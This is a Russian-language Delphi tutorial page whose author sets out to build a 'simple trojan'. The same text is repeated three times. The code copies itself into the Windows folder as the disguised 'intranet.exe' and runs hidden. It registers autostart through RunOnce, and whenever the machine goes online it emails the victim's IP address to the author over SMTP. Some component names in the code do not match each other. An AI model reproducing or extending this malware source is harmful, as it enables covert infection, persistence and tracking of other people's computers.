Вы здесь: Home От автора Delphi

Теги

Календарь

< Январь 2012 >
П В С Ч П С В
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 25 26 27 28 29
30 31          
Ulti Clocks content

Delphi

Сегодня мы
рассмотрим как сделать простенького трояна на
Delphi.
Кто-то спросит: "а зачем это надо? их и так до хрена.." вот поэтому и надо, что
их дохрена и большинство делает не то что надо. Итак, приступим: сначала сделаем
простенький троян, а потом будем наращивать его функциональность.



Пока что для создания трояна будем пользоваться стандартными компонентами
Delphi
и навесными, которые можно свободно скачать. Да и еще, дельфи нужна 2, 3 или
4-я, любителей 5-ой обломаю - она больно глючная. Ну чтож, приступим, для начала
создадим форму (кто умеет без форм - будем без форм). Накидаем на форму:

TRaylightAutostart, TOnlineIP, TNMSMTP.
Пока хватит, потом еще добавим ежели что :-). В
OnCreate
формы пихаем следующее:




var WinPath : array [0..255] of char;

CurPath : String;

begin

CurPath := ExtractFilePath(ParamStr(0));

GetWindowsDirectory(WinPath,255);

If pos(WinPath, CurPath) 0 then

With Start1 do

begin

AppName := 'IntraNet';

StartNextLogon := True;

end

else

begin

CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);

WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);

close;

end;

end;




Что это все делает:




var WinPath :
array [0..255] of char;

CurPath : String;


Объявление переменных.
WinPathбудем
использовать для каталога винды, а
CurPathдля
текущего каталога.


CurPath := ExtractFilePath(ParamStr(0));

GetWindowsDirectory(WinPath,255);


Заполняем переменные, надеюсь эти функции в знаете, ежели нет, то
вам прямая дорога в хелпы.


If pos(WinPath, CurPath) 0 then


Если наш файл в каталоге винды, то

With RayLightAutostart1 do

begin

AppName := 'IntraNet';


Как зарегестрируемся в реестре, то биш как назовемся, а назавемся
"Intranet"
- что то знакомое, а что делает не помним :-).


StartNextLogon := True;

Запускаться при следующем старте винды - да. То есть теперь при перезагрузке
винды мы запустимся и пропись в реестре будет в несовсем обычном месте, а именно
в
RunOnce,
а не в
Run.


end

else

Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с виндами,
а потом сами себя запускаем и закрываемся... или во всяком случае пытаемся :-).


begin

CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);

WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);

close;

end;

Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске
машины будет сам себя инициализировать, а при запуске из каталога отличного от
виндов, мы сами себя скопируем.



Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и
сделаем. Cледующтй код ставим в событие
OnChangeу
OnlineIP:




If not
OnlineIP1.Online then exit;

если мы не в сети, то выходим из процедуры


NmSMTP1.Connect;

Коннектимся
SMTP
клиентом к серверу (SMTP)


if NMSMTP1.Connected then

Если подконнектились, то


begin

NMSMTP1.SubType := mtPlain;

Тип письма: обычный текст


NMSMTP1.PostMessage.FromAddress := '';

От кого письмо идет (адрес)


NMSMTP1.PostMessage.FromName := 'First Thojan';


От кого идет письмо (имя)


NMSMTP1.PostMessage.ToAddress.Text := ' Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript ';


На какой адресс шлем письмо


NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;

Что будкт в теле письма. У нас просто будет IP машины (пока что)


NMSMTP1.PostMessage.Subject := 'Server is online';

И наконец, какая тема у письма


NMSMTP1.SendMail;

И вот наше письмо тютю :-).

Delphi

Сегодня мы
рассмотрим как сделать простенького трояна на
Delphi.
Кто-то спросит: "а зачем это надо? их и так до хрена.." вот поэтому и надо, что
их дохрена и большинство делает не то что надо. Итак, приступим: сначала сделаем
простенький троян, а потом будем наращивать его функциональность.



Пока что для создания трояна будем пользоваться стандартными компонентами
Delphi
и навесными, которые можно свободно скачать. Да и еще, дельфи нужна 2, 3 или
4-я, любителей 5-ой обломаю - она больно глючная. Ну чтож, приступим, для начала
создадим форму (кто умеет без форм - будем без форм). Накидаем на форму:

TRaylightAutostart, TOnlineIP, TNMSMTP.
Пока хватит, потом еще добавим ежели что :-). В
OnCreate
формы пихаем следующее:




var WinPath : array [0..255] of char;

CurPath : String;

begin

CurPath := ExtractFilePath(ParamStr(0));

GetWindowsDirectory(WinPath,255);

If pos(WinPath, CurPath) 0 then

With Start1 do

begin

AppName := 'IntraNet';

StartNextLogon := True;

end

else

begin

CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);

WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);

close;

end;

end;




Что это все делает:




var WinPath :
array [0..255] of char;

CurPath : String;


Объявление переменных.
WinPathбудем
использовать для каталога винды, а
CurPathдля
текущего каталога.


CurPath := ExtractFilePath(ParamStr(0));

GetWindowsDirectory(WinPath,255);


Заполняем переменные, надеюсь эти функции в знаете, ежели нет, то
вам прямая дорога в хелпы.


If pos(WinPath, CurPath) 0 then


Если наш файл в каталоге винды, то

With RayLightAutostart1 do

begin

AppName := 'IntraNet';


Как зарегестрируемся в реестре, то биш как назовемся, а назавемся
"Intranet"
- что то знакомое, а что делает не помним :-).


StartNextLogon := True;

Запускаться при следующем старте винды - да. То есть теперь при перезагрузке
винды мы запустимся и пропись в реестре будет в несовсем обычном месте, а именно
в
RunOnce,
а не в
Run.


end

else

Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с виндами,
а потом сами себя запускаем и закрываемся... или во всяком случае пытаемся :-).


begin

CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);

WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);

close;

end;

Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске
машины будет сам себя инициализировать, а при запуске из каталога отличного от
виндов, мы сами себя скопируем.



Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и
сделаем. Cледующтй код ставим в событие
OnChangeу
OnlineIP:




If not
OnlineIP1.Online then exit;

если мы не в сети, то выходим из процедуры


NmSMTP1.Connect;

Коннектимся
SMTP
клиентом к серверу (SMTP)


if NMSMTP1.Connected then

Если подконнектились, то


begin

NMSMTP1.SubType := mtPlain;

Тип письма: обычный текст


NMSMTP1.PostMessage.FromAddress := '';

От кого письмо идет (адрес)


NMSMTP1.PostMessage.FromName := 'First Thojan';


От кого идет письмо (имя)


NMSMTP1.PostMessage.ToAddress.Text := ' Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript ';


На какой адресс шлем письмо


NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;

Что будкт в теле письма. У нас просто будет IP машины (пока что)


NMSMTP1.PostMessage.Subject := 'Server is online';

И наконец, какая тема у письма


NMSMTP1.SendMail;

И вот наше письмо тютю :-).

Delphi

Сегодня мы
рассмотрим как сделать простенького трояна на
Delphi.
Кто-то спросит: "а зачем это надо? их и так до хрена.." вот поэтому и надо, что
их дохрена и большинство делает не то что надо. Итак, приступим: сначала сделаем
простенький троян, а потом будем наращивать его функциональность.



Пока что для создания трояна будем пользоваться стандартными компонентами
Delphi
и навесными, которые можно свободно скачать. Да и еще, дельфи нужна 2, 3 или
4-я, любителей 5-ой обломаю - она больно глючная. Ну чтож, приступим, для начала
создадим форму (кто умеет без форм - будем без форм). Накидаем на форму:

TRaylightAutostart, TOnlineIP, TNMSMTP.
Пока хватит, потом еще добавим ежели что :-). В
OnCreate
формы пихаем следующее:




var WinPath : array [0..255] of char;

CurPath : String;

begin

CurPath := ExtractFilePath(ParamStr(0));

GetWindowsDirectory(WinPath,255);

If pos(WinPath, CurPath) 0 then

With Start1 do

begin

AppName := 'IntraNet';

StartNextLogon := True;

end

else

begin

CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);

WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);

close;

end;

end;




Что это все делает:




var WinPath :
array [0..255] of char;

CurPath : String;


Объявление переменных.
WinPathбудем
использовать для каталога винды, а
CurPathдля
текущего каталога.


CurPath := ExtractFilePath(ParamStr(0));

GetWindowsDirectory(WinPath,255);


Заполняем переменные, надеюсь эти функции в знаете, ежели нет, то
вам прямая дорога в хелпы.


If pos(WinPath, CurPath) 0 then


Если наш файл в каталоге винды, то

With RayLightAutostart1 do

begin

AppName := 'IntraNet';


Как зарегестрируемся в реестре, то биш как назовемся, а назавемся
"Intranet"
- что то знакомое, а что делает не помним :-).


StartNextLogon := True;

Запускаться при следующем старте винды - да. То есть теперь при перезагрузке
винды мы запустимся и пропись в реестре будет в несовсем обычном месте, а именно
в
RunOnce,
а не в
Run.


end

else

Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с виндами,
а потом сами себя запускаем и закрываемся... или во всяком случае пытаемся :-).


begin

CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);

WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);

close;

end;

Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске
машины будет сам себя инициализировать, а при запуске из каталога отличного от
виндов, мы сами себя скопируем.



Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и
сделаем. Cледующтй код ставим в событие
OnChangeу
OnlineIP:




If not
OnlineIP1.Online then exit;

если мы не в сети, то выходим из процедуры


NmSMTP1.Connect;

Коннектимся
SMTP
клиентом к серверу (SMTP)


if NMSMTP1.Connected then

Если подконнектились, то


begin

NMSMTP1.SubType := mtPlain;

Тип письма: обычный текст


NMSMTP1.PostMessage.FromAddress := '';

От кого письмо идет (адрес)


NMSMTP1.PostMessage.FromName := 'First Thojan';


От кого идет письмо (имя)


NMSMTP1.PostMessage.ToAddress.Text := ' Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript ';


На какой адресс шлем письмо


NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;

Что будкт в теле письма. У нас просто будет IP машины (пока что)


NMSMTP1.PostMessage.Subject := 'Server is online';

И наконец, какая тема у письма


NMSMTP1.SendMail;

И вот наше письмо тютю :-).

Духовность
TURBO PASCAL, документация, вопросы и ответы, программы, фишки, игры, новости
Delphi
Copyrigiht © 2009-2011